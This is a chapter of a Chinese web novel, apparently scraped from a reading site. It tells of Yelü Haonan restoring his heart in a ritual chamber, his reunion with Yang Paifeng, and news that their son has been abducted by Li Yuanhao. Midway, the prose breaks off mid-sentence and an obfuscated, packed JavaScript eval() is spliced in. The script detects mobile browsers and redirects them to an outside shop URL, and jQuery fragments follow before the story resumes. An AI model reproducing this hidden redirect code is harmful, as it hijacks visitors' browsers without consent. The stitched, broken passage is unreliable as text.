    随着他这句仿佛暗合某种机锋的话音落下,那流转的金色符文仿佛听懂了,光芒骤然一敛,如同潮水般退去,瞬间消失得无影无踪,石碑恢复了之前的斑驳古旧,仿佛刚才的绚烂只是幻觉。


    紧接着,一阵低沉的、仿佛来自地底深处的闷响,带着齿轮转动般的“咔咔”声响起。那方看似沉重无比、与地基浑然一体的石碑,竟如同最精巧的机关门扉,无声无息地向侧方平滑移开三尺,露出下方一个黑黝黝的、仅容一人通过的狭窄甬道入口。一股混合着年深日久的尘土气息、寒玉冷香、以及一丝若有若无檀香味的寒气,扑面而来,让人精神一凛。


    耶律皓南转身,对身后如影子般肃立、气息几乎与山石融为一体的几名心腹暗卫沉声吩咐,声音不高,却带着久居上位、杀伐决断的冷硬:


    “守死入口。擅近者,无论何人,格杀勿论。”


    “是!” 暗卫低声应诺,声音短促有力,瞬间散开,隐入四周的黑暗与乱石之中,气息收敛,恍如未存。


    他的目光,最后极其短暂地扫过依旧背对着他、僵立在原地的杨排风。那单薄的背影在苍茫暮色中显得如此脆弱,仿佛一折就断,却又挺直得仿佛一杆宁折不弯的枪,带着一股孤绝的倔强。他嘴唇几不可察地动了动,似乎想说什么,目光在她微微颤抖、泄露了内心绝不平静的肩头停留了一瞬,眼底深处有什么浓烈而复杂的情绪翻涌了一下,但最终,还是被更深的幽暗、决绝,以及一丝或许连他自己都未察觉的、不忍牵连的晦涩所取代。


    他什么也没说,猛地紧了紧身上的斗篷,不再犹豫,转身,踏入了那深不见底、仿佛通往幽冥的黑暗甬道之中。身影很快被浓稠的、带着寒气的黑暗彻底吞没,只留下洞口那一丝逸出的、与众不同的冷香,证明着曾有人进入,去赴一场生死未卜的交换。


    甬道并不长,却曲折向下,石阶湿滑,弥漫着经年不散的阴冷与一种淡淡的、类似檀香却又更加清冽古老、仿佛能涤荡神魂的气息。尽头,是一间不大的天然石室。


    石室四壁并非普通岩石,而是某种罕见的、能自发微光的墨玉,壁上以银粉镶嵌出巨大的北斗七星图案,星子之间以极细的银线相连,构成玄奥莫测的阵法。此刻,这星图正散发着柔和而稳定的幽蓝银光,将整间石室映照得如同置身于夏夜晴朗的星空之下,静谧,神秘,充满了一种非人间的、浩瀚而纯净的气息。这里的时间与空间仿佛都与外界不同。


    石室中央,是一座浑然天成、未经雕琢的寒玉台,通体洁白如雪,寒气氤氲,使得石室温度极低。玉台之上,静静放置着一只完全由透明冰晶雕琢而成的方匣。匣内,悬浮着一颗……心脏。


    是的,一颗鲜活的心脏。它呈现出一种温润的、健康的内敛红色,大小与他胸腔相仿,甚至还在一下、一下,缓慢而有力地搏动着!沉稳,有力,仿佛从未离开过主人的身体,从未停止过生机,在冰晶与寒玉的滋养下,保持着六年前离体那一刻的状态。心脏表面,缠绕着七道细细的、金光流转的玄妙纹路,如同有生命的星辰锁链,又似天道运行的轨迹,将它稳稳定在冰晶匣中,散发着强大而神圣的封印保护力量——正是凌霄子亲手所施的、道家无上秘法“七星锁魂咒”。


    耶律皓南在寒玉台前站定,深深吸了一口气,冰冷的空气混合着星图散发的清灵之气涌入肺腑,让他因禁制反噬而翻腾不休的气血稍稍平复。他不再犹豫,抬手,解开了身上粗麻斗篷的系带,任由其滑落在地。接着,是外袍,中衣……


    最终,他袒露出精悍的上身。肌肉线条流畅而充满爆发力,肤色是久不见阳光的冷白,上面布满了新旧交错的伤疤,有沙场刀剑之伤,有修炼法术不当的灼痕,更有几处深入内腑的暗伤留下的青黑印记。而最触目惊心的,是左胸心口处——一道纵贯胸骨、颜色深紫近黑、皮肉翻卷扭曲、宛如蜈蚣盘踞的狰狞疤痕!那是当年他为彻底掌控天门阵,不惜以秘法自剜心窍时留下的伤口,六年过去,依旧狰狞可怖,仿佛在无声诉说着当日决绝的痛楚、疯狂与代价。


    他咬破自己右手中指,以指为笔,以自身精血为墨,就着寒玉台冰冷的台面,无视那刺骨的寒意,飞速划下一个极其繁复、透着古老邪异气息、专为“换心”准备的血色符阵。每一笔划下,都牵引着体内所剩无几的真元与那“童子心”的排斥之力,他脸色就苍白一分,额角青筋隐现,冷汗渗出。


    符阵成型的刹那,他眼中厉色与决绝一闪,运足残存功力,将所有排斥痛苦强行压下,一掌狠狠拍向自己左胸那疤痕正中!并非拍打血肉,而是掌心蕴含的阴狠内力与符阵之力结合,隔着皮肉,直接震碎了胸腔内那颗强行为他续命六年、却始终与他不相容、带来无尽痛苦的“童子心”!


    “噗——!”


    一声沉闷的、仿佛腐朽皮革破裂的怪异声响从体内传出。


    “呃啊——!” 他发出一声压抑到极致的痛苦低吼,身体猛地向前弓起,一大口混杂着内脏碎块、颜色暗黑发紫、散发着不祥气息的污血,从他口中狂喷而出,溅满了面前的寒玉台和地面!那颗破碎的“心”带来的反噬、生机强行断绝的痛苦、以及血脉被强行割裂的虚无感,瞬间如海啸般席卷全身,让他眼前阵阵发黑,耳中嗡鸣,几乎要立刻昏死过去。气息以可怕的速度萎靡下去。


    但他不能昏!时机稍纵即逝!此刻旧心已碎,新心未归,是生死一线、最脆弱也最关键的时刻!


    他强提最后一口气,压榨出魂魄深处所有的力量,左手如电伸出,五指成爪,因用力而关节发白,猛地抓向冰晶匣中那颗被金光缠绕的、兀自平稳跳动的心脏——那颗真正属于他刘皓南的原心!


    “七星锁魂咒”感受到外力侵入,金光大盛,化作七条凝实无比的金色光索,猛地缠绕上他的手臂!灼烧灵魂般的剧痛传来,手臂皮肤瞬间发出“嗤嗤”声响,焦黑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185029|196997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一片!耶律皓南闷哼连连,牙关咬得咯咯作响,却不管不顾,运起全身残存的所有力量,甚至引动了体内天门阵残留的一丝本源阴力与北汉刘氏皇族血脉中某种古老的气息,与之对抗!


    “咔嚓、咔嚓……” 冰晶匣在巨大力量的对抗下,出现蛛网般的裂痕。


    “给我——开!” 他嘶声怒吼,额上颈侧青筋暴凸,眼中血丝弥漫,用尽最后的意志,猛地发力!


    “砰!”


    冰晶匣彻底碎裂!化作漫天晶莹的粉末!金光锁链骤然崩散,化作点点流光消失!那颗鲜活、温润、带着磅礴生机与熟悉魂力波动的原心,脱离所有桎梏,落入他剧烈颤抖的掌心!温热,有力,每一次搏动都与他灵魂深处产生共鸣,带来血脉相连的、令他神魂都为之颤栗的熟悉悸动与呼唤。


    没有丝毫犹豫,甚至没有时间去感受那份失而复得的震动,他右手并指如刀,指尖真气凝聚成无形却锋锐无比的锋刃,对着自己左胸那道旧疤,狠狠地、决绝地——再次刺入!生生剖开早已愈合又撕裂过无数次的血肉,露出其下空洞的、残破的、经脉萎缩的胸腔内里!


    然后,他抓着那颗原心,将其对准位置,带着一种近乎虔诚的疯狂与孤注一掷的渴望,狠狠地、精准地——按了回去!贴合在那断裂萎缩的经脉根源之上!


    “呃——!!!”


    那一瞬间的剧痛,无法用任何言语形容!仿佛将灵魂都撕裂、打碎、再强行重组!新旧血脉强行接续的胀裂感,断裂枯萎了六年的经脉被狂暴生机冲刷连接、强行拓展的剧痛,那颗离体六年、被七星锁魂咒滋养守护的心脏,重新回到它诞生、成长的地方,开始疯狂地、贪婪地搏动,每一次跳动,都泵出滚烫的、属于他刘皓南的本源精血,以决堤之势冲刷向干涸枯萎了六年的四肢百骸,唤醒每一寸沉寂的生机!


    与此同时,仿佛被这颗皇族血脉之心的归位所引动,石室四壁上,那幅巨大的北斗七星图,骤然被彻底激活!七颗星子银光大放,光芒如实质的银浆流淌而下,汇聚成一道炽烈无比、充满纯阳净化之力的星辰光柱,将寒玉台上血肉模糊、剧烈痉挛的耶律皓南彻底笼罩!


    “啊——!!!”


    他发出一声不似人声的、混合了极致痛苦、新生狂喜与灵魂战栗的嘶吼,身体不受控制地猛地向后仰起,脖颈青筋暴凸如虬龙,眼珠几乎要瞪出眼眶!纯净的星辰之力如万根烧红的钢针,又似甘霖圣水,从他每一个毛孔刺入、灌注,洗涤着他经脉中沉积了六年、阴毒无比的天门阵反噬之力,也冲击、安抚着他刚刚归位、尚未稳固的心神与暴走的血脉。


    眼前,无数破碎凌乱的画面,不受控制地闪现、翻滚、撞击,那是深埋的记忆与执念,在换心的剧痛与星辰洗礼下,翻涌而出:


    ?七岁那年,晋阳城破。冲天的火光染红夜幕,宋兵狰狞的面孔与喊杀声充斥耳膜,宫人绝望的哭喊与奔逃。母亲,那个总是温柔笑着的北汉王妃,将他死死藏在秘道湿滑暗格里,最后看他那一眼,是泣血的嘶喊、无边的眷恋与刻骨的绝望……“皓南,活下去!无论如何,活下去!”……然后,是无尽的黑暗,令人窒息的寂静。不知过了多久,他独自爬出,面对的是满地族人、宫人横七竖八的尸骸,鲜血将汉白玉阶染成褐色。幼小的他被幸存的忠仆拖着逃出皇宫,被逼至皇宫后的悬崖,身后是追兵的铁蹄与呼啸的箭矢,身前是云雾缭绕的深渊。纵身跃下时,耳边是呼啸的风声和母亲仿佛还在无尽远处回荡的凄厉哭喊……恨!刻骨的恨!与冰冷!一起浸透了骨髓。


    ?天门阵中,阴风怒号,万鬼哭嚎。他站在阵眼,脚下是血流成河,无数生魂在阵中哀嚎挣扎。手中握着那柄用以自剜心窍的匕首,冰冷的刃尖抵着温热的胸口,远处,隐约传来穆桂英率领宋军攻阵的嘹亮号角与震天喊杀声,越来越近……他知道,阵要破了。但更深处,还有一种莫名的空虚与剧痛——不是因为将死,而是因为想起一线天崖底,那个用清澈信任眼神看着他的烧火丫头,想起她可能用怎样仇恨失望的眼神看他……痛,不仅是身体剜心之痛,还有某种东西彻底碎裂、再也无法挽回的绝望。然后,是无边的黑暗与冰冷,以及遥远传来的、辽国巫医模糊的吟唱与萧太后冷静的指令……


    ?最后,画面定格在一张稚嫩却模糊、唯有眉心一点朱砂痕清晰的孩童面容上。那是三日前,他强忍着反噬剧痛,以损耗寿元为代价,于密室中起卦占卜,于那纷乱莫测、血光隐现的命盘深处,窥见的一抹璀璨而熟悉、带着锋锐兵戈之气的星芒——武曲星!主杀伐,掌兵戈,刚毅果决,将星之命!那星芒虽微弱,却与他血脉隐隐呼应,光芒中却蒙着一层令人心悸的血光之劫……当时他心神剧震,喷血倒地,心中惊涛骇浪: 难道……那个孩子真的命格如此?!


    “我的……孩儿……” 在星光涤荡的痛苦间隙,在血脉重新奔腾的轰鸣中,这个念头无比清晰、带着连他自己都未察觉的震颤与酸楚,划过脑海。


    就在这时,石室外,隐约传来了杨排风再也无法压抑的、失控的哭喊,穿过厚重的石门,被阵法削弱,却依旧模糊而清晰地、如同绝望的钩子,撞入他剧痛混乱的耳中、心中:


    “耶律皓南!你若是敢死在里面——!”


    后半句被风声和某种更激烈的、哽咽的情绪吞没,但他仿佛听见了,也听懂了。那声音里的恐惧、愤怒,还有一丝深藏的、不容错辨的……害怕失去。


    那句话,那声音,仿佛带着某种奇异的力量,穿透了星辰光柱的净化、穿透了换心的极致痛苦,注入了他在新生与毁灭边缘挣扎、濒临涣散的神智之中。他不能死!他还有事未了!他还没有问清楚那个孩子!他还没有……还没有面对她那双流泪的眼睛!


    他猛地一咬牙,口中满是血腥味,眼中爆发出骇人的求生精光与狠厉,强行挺直了几乎要蜷缩下去、被痛苦击垮的脊背,不再抵抗那净化星光,反而敞开心神,主动迎接那磅礴星力的冲刷与洗礼!他要活!必须活!


    “轰——!”


    仿佛江河决堤,海啸奔涌。更强烈的星光冲刷而过,将他经脉中最后一丝顽固的阴毒煞气、那“童子心”残留的异种气息,彻底涤荡干净!浑身剧痛达到了顶峰,随即,一种前所未有的、轻盈的、通透的生机感,从重新有力搏动的心脏处,如春日照融冰雪,缓缓蔓延向四肢百骸。


    不知过了多久,也许只是一瞬,也许已是一年。


    石室内的炽烈星光渐渐敛去,四壁星图恢复了幽静恒常的微光。寒玉台上,耶律皓南缓缓地、极其艰难地睁开了眼睛。


    那双总是深邃如寒潭、藏着无尽算计与阴鸷的眼睛,此刻依旧深邃,却有什么不一样了。常年萦绕其中的、挥之不去的阴郁、戾气、压抑的痛苦与暴虐,仿佛被刚才的星辰之力一并洗涤、抚平,虽然深重的疲惫如同山峦压在魂魄之上,却显出一种久违的、如暴雨后古井深潭般的平静与澄澈。只是那平静之下,是更为内敛、也更为可怕深沉的、属于他本身全盛时期的力量在缓缓复苏、流淌。


    他低头,看向自己左胸。那道狰狞的旧疤依然存在,颜色却似乎鲜活了一些,疤痕下的肌肤,正随着胸腔内那颗心脏平稳、有力、充满生机地搏动着,微微起伏。一股温暖而磅礴的、与他神魂完全契合的生机,正从心脏处源源不断地涌向四肢百骸,虽然经脉初通,还有些滞涩的胀痛与新生般的脆弱,但那困扰他六年、如影随形的阴冷、空虚、排斥与撕裂感,已然消失无踪。取而代之的,是一种完整的、踏实的、力量缓缓归来的充实感。


    他成功了。那颗心,真的回来了。


    他尝试动了一下手指,有些僵硬,但控制自如。撑着冰冷滑腻的寒玉台,他缓缓地、一寸寸地站起,膝盖发软,身形晃了晃,但终究站稳了。身上血迹斑斑,脸色苍白如雪,唇上毫无血色,但那股从骨子里透出的、换心以来的虚弱与颓败死气,已然消散。虽然此刻的他看起来依旧狼狈脆弱,但内里,已然涅槃。


    他弯腰,捡起地上染血的粗麻斗篷,随意披上,遮住了赤裸的上身、可怖的伤痕与血迹,然后,步履虽然依旧有些虚浮踉跄,却带着一种异常的坚定与新生般的力量,一步步走向石室出口。每一步,都仿佛踩在实地上,而非过往六年的虚空噩梦中。


    石门再次无声滑开。


    外面,天已彻底墨黑。无星无月,只有山风在漆黑的夜空中呼啸,卷动着荒草与落叶,发出呜咽般的声响。


    杨排风就守在门外不远处的古塔残骸下,背对着石门,身体紧紧蜷缩着,双臂环抱着自己,肩膀单薄得仿佛下一秒就要被凛冽的山风吹散、吹走。听到石门开启的、细微却清晰的“扎扎”声,她浑身剧烈一颤,像是被电击,猛地转过身!


    在看到耶律皓南踏出石门、裹着染血斗篷、苍白着脸却真真切切“走”出来的那一刻,她像是被瞬间抽走了所有支撑的力气,又像是积蓄到顶点的火山终于爆发,不管不顾地、跌跌撞撞地扑了上去!冰凉颤抖、沾满冷汗泥土的指尖,带着小心翼翼到近乎恐惧的试探,和无法抑制的、想要确认的急切,轻轻触上他被粗麻斗篷遮掩的、心口的位置。


    指尖下,透过粗糙的布料,传来平稳、有力、温热的搏动。一下,又一下。蓬勃,真实。


    “你的心……” 她仰起脸,泪水毫无预兆地决堤涌出,大颗大颗地、滚烫地砸落,混着脸上的尘土,砸在他染血的、微湿的衣襟上,也仿佛砸在了他刚刚归位、尚且敏感的心上,“……真的……好了?真的……跳了?” 声音哽咽,破碎,带着不敢置信的狂喜,与更深沉的、几乎将她淹没的后怕。天知道刚才等待的每一刻,听着里面隐约传来的痛苦闷哼,她有多恐惧。怕他死,怕他变成一具冰冷的尸体,怕这六年的纠缠、今夜的重逢、还有那个未解的秘密,都随着他的死去而变成永久的绝望。


    “无碍了。” 耶律皓南垂下眼,看着近在咫尺的、泪流满面、狼狈不堪的容颜。六年风霜,她也瘦了,憔悴了,眼底有着和他相似的疲惫与沧桑。可此刻那双被泪水洗净的眼睛里瞬间迸发出的、纯粹而激烈的光亮,却与记忆中那个一线天崖底、火光映照下明朗飒爽、眼神清澈的烧火丫头,重重叠叠在了一起。他喉结滚动了一下,心中那座冰封了六年、以恨与执念为砖石垒砌的坚固堡垒,在这一刻,被她的泪水、触碰与眼中毫不掩饰的惊惧关切,悄然撞击,融化了一角,露出底下连他自己都陌生的柔软与悸动。


    他下意识地抬起手,有些生涩地、迟疑地,在空中停顿了一瞬,仿佛不习惯这样的温情流露,又仿佛怕惊扰了这短暂而脆弱的真实。然后,终是轻轻落下,带着未干的血迹与寒意,抚上她湿漉漉的、沾着草屑与泪水的发顶,动作僵硬,却带着一种不容错辨的笨拙安抚。


    六年隔阂,国仇家恨,爱怨纠缠,生死相隔,误解重重……如万载不化的厚重冰层横亘其间。此刻,因着换心成功的生机,因着孩子下落的未知,因着这劫后余生的短暂松懈,冰层初裂,暖流暗涌,却依旧不知该从何说起,如何面对这突然拉近的距离、这复杂难言的一切。


    他嘴唇动了动,终是低低唤出那个在心底辗转了无数次、在梦魇与回忆中咀嚼了无数遍、却六年未曾有机会出口的名字,声音沙哑干涩,却带着一丝自己都未察觉的、久违的温和:


    “排风……”


    话音未落——


    “嘚嘚嘚嘚——!!!”


    急促如爆豆、疯狂撕裂夜空寂静的马蹄声,由远及近,以拼命的速度刺破山野的呜咽风声!声音之快之猛之惶急,显是来者已将马匹催到了极限,甚至不顾险峻山道!


    一道黑影如同从浓墨般的夜色中射出的一支夺命利箭,自山坡下疾驰而来!马未完全停稳,一道人影已从马背上滚落,连滚带爬、浑身尘土血迹地扑到耶律皓南脚前,正是他麾下最为得力、向来沉稳的暗卫首领之一。此刻这人浑身浴血,不知是自己的还是敌人的,头盔早已不知去向,发髻散乱,脸上有一道深可见骨、皮肉外翻的刀伤,气息紊乱粗重,眼神里是极致的惊恐与绝望,显然经历过惨烈至极的厮杀与奔逃。


    “主……主公!!!” 暗卫嗓音嘶哑破裂,仿佛喉咙已被喊破、被血沫堵住,带着无边无际的惊恐与绝望,用尽最后的力气嘶声吼道,声音在夜风中凄厉无比:“不好了!出大事了!少主……少主被西夏国主李元昊的亲卫‘铁鹞子’绑走了!就在一个时辰前,于回雁谷!我们的人……全军覆没!那魔头……那魔头放话出来……”


    他猛地咳出一大口带着内脏碎块的血沫,眼中是深入骨髓的恐惧,死死抓住耶律皓南的衣摆:


    “……要抽少主体内的‘武曲星’元神,炼制……炼制那灭绝人性的‘天魔诛仙阵’!!期限就在三月后的月圆之夜!!”


    “武曲星”三字,如同九霄之上劈下的最狂暴的惊雷,狠狠炸在耶律皓南与杨排风的头顶!灵魂深处!


    耶律皓南身体剧震,刚刚换心初愈、尚且脆弱、正在缓缓适应新生的心脉,被这突如其来的、比噩梦更可怕的噩耗狠狠一击,猛地岔了气,血气逆冲!


    “噗——!”


    他竟张口,喷出了一小口色泽鲜红、犹带温热的心头血!新愈的心脏传来钻心刺骨、仿佛被利爪攥紧撕扯的剧痛——不是因为伤势复发,而是因为极致的愤怒、恐惧,与血脉相连的感应被强行触动、挑衅的震颤!李元昊!那个雄踞西北、野心勃勃、残忍暴虐、同样精通邪术魔功的西夏国主!他竟也窥破了孩儿的命格!竟敢将主意打到他耶律皓南的血脉头上!还要抽魂炼阵?!


    “李、元、昊——!!”


    三个字,从耶律皓南齿缝间迸出,每一个字都浸透了滔天的杀意、冰寒与毁灭一切的暴怒,仿佛来自九幽地狱最底层的诅咒。他踉跄一步,扶住身旁古塔冰冷粗糙的残垣,指节因为用力而攥得发白,咯咯作响,几乎要将坚硬的花岗岩捏碎!眼中瞬间席卷起毁天灭地的猩红风暴,那刚刚因换心成功而沉淀下去的戾气与疯狂,以十倍、百倍、千倍的恐怖态势轰然爆发!周身尚未完全收敛的气息不受控制地外放,震得周围碎石滚落,荒草倒伏!


    “你敢动我儿——!!!!”


    与此同时,杨排风如遭五雷轰顶,整个人彻底僵在原地,脸上血色尽褪,比身上的素麻衣裙还要白,白得惨淡,白得死寂。下一秒,无边的、足以吞噬一切的恐惧与母性本能,彻底冲垮了她所有的理智、矜持、怨恨与挣扎!


    “儿子!我的儿子!!” 她发出一声凄厉得不似人声、如同濒死母兽般的尖叫,猛地挣脱了方才那片刻的恍惚,疯癫般扑上去,死死抓住耶律皓南的手臂,指甲深深掐入他的皮肉之中,仿佛那是她溺水时唯一的浮木,声音尖锐破碎得变了调,充满了无边无际的绝望、哀求与崩溃:


    “耶律皓南!你救他!你去救他!你救我儿子!!把我的儿子救回来!!啊——!!把我的孩子还给我!!!”


    六年隐忍,六年以为死别的煎熬,六年独自背负秘密的恐惧,六年对孩子的思念与担忧,在此刻,在得知孩子竟然真的存在、而且落入李元昊那等绝世魔头手中的惊天噩耗面前,轰然决堤,化作崩溃的、歇斯底里的洪流。她不再是那个强撑坚强的杨排风,只是一个即将失去骨肉、绝望疯狂的母兽。


    耶律皓南被她死死抓住,感受着她指尖传来的剧烈颤抖、冰凉和绝望的力量,听着她泣血般撕心裂肺的哭喊,心中那滔天的杀意、怒火、与同样深切的恐惧,仿佛找到了一个共同的宣泄口,也找到了一个必须紧紧抓住、彼此支撑的锚点。他们的孩子!他们共同的孩子!正在魔爪之下!


    他猛地转身,一把将她冰凉颤抖、几乎站立不稳、崩溃欲绝的身子拉起,紧紧箍在自己同样冰冷却因怒火而滚烫的怀中。染血的手掌,带着未干的血迹、泥土与滚烫的温度,死死扣住她同样冰冷、沾满泪水泥污、颤抖不止的五指,用力到指节泛白,骨骼相硌,仿佛要将两人的骨血、命运、恐惧与决心,都死死融合在一起,共同面对这灭顶之灾。


    他低下头,额角与她冰冷的额相抵,眼中风暴肆虐,猩红可怖,声音却是一种极致的、令人胆寒的冷静与斩钉截铁,一字一句,清晰地、重重地烙印在她耳中,也烙印在这杀戮与疯狂即将降临的夜空之下:


    “听着,杨排风。”


    “我耶律皓南的骨血,天上地下,神佛莫近,阎王难收!”


    “无人可伤!无人敢动!李元昊——他是在找死!!”


    话音未落,他猛地扯下自己颈间那枚贴身佩戴、从未离身、触手温润的狼首墨玉符——那是北汉刘氏皇族嫡系血脉最后的身份象征,亦是最高级别的紧急召集与血战警戒信物,非亡国灭种之危不得动用。


    五指收拢,用尽全身力气,狠狠一捏!


    “咔嚓!”


    清脆的碎裂声响起,墨玉符应声而碎!


    下一瞬,一点幽蓝如冥界之火、却又带着煌煌威严的焰光,自破碎的玉符核心猛地窜出,迎风暴涨,化作一道碗口粗细、炽烈无比、洞穿黑暗的幽蓝光柱,如同逆行的流星,撕裂浓重如墨的夜幕,直冲云霄!光柱在夜空中轰然炸开,光芒夺目,化作一个巨大无比的、狰狞咆哮、仰天长啸的银色狼首虚影!银狼双目如电,血色凛然,俯瞰人间,带着无尽的威严、古老的血脉召唤、以及滔天的杀戮与警告,笼罩了方圆数十里的天空,声震四野,万物噤声!


    北汉皇族最高警戒令——“苍狼泣血,不死不休”!


    此令一出,凡北汉遗民,无论身在何处,为何身份,见令如见先主,需不惜一切代价,放下所有,即刻奔赴集结!此令,亦是向整个天下宣告,他北汉刘氏皇孙刘皓南正式归来!任何敢于触碰他逆鳞者,必将承受他最疯狂、最不计代价、最血腥的报复!至死方休!


    幽蓝的焰光与银狼虚影,映亮了漆黑的山野,映亮了残破的古塔,也映亮了塔下残垣边,紧紧相拥、十指死死交扣、如同共生一体般的两人。


    杨排风仰着头,泪水模糊的视线中,是夜空中那巨大狰狞、仰天咆哮的银狼,是身侧男人眼中焚天灭地、不惜与世为敌的怒火与决绝,是两人紧紧交握、染着彼此血迹、泥土、泪水与恐惧的、再也不愿分开、也无法分开的手。


    那交握的十指,冰冷,颤抖,沾染血污,却传递着无法分割的力量、共同的恐惧,以及玉石俱焚的决心。在失去孩子的灭顶恐惧面前,六年隔阂,爱恨情仇,国别立场,似乎都在这一刻被彻底碾碎,变得微不足道。他们只是一个父亲,一个母亲,为了从魔爪中夺回自己的孩子,可以化身修罗,可以搅动天下风云,可以血洗山河,可以与神佛为敌,可以共赴地狱!


    这染血交握的手,成了无边黑暗与疯狂前夜中,他们之间唯一真实、也唯一共同的锚点,也是即将席卷而来的血雨腥风中,彼此唯一的依靠与诅咒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)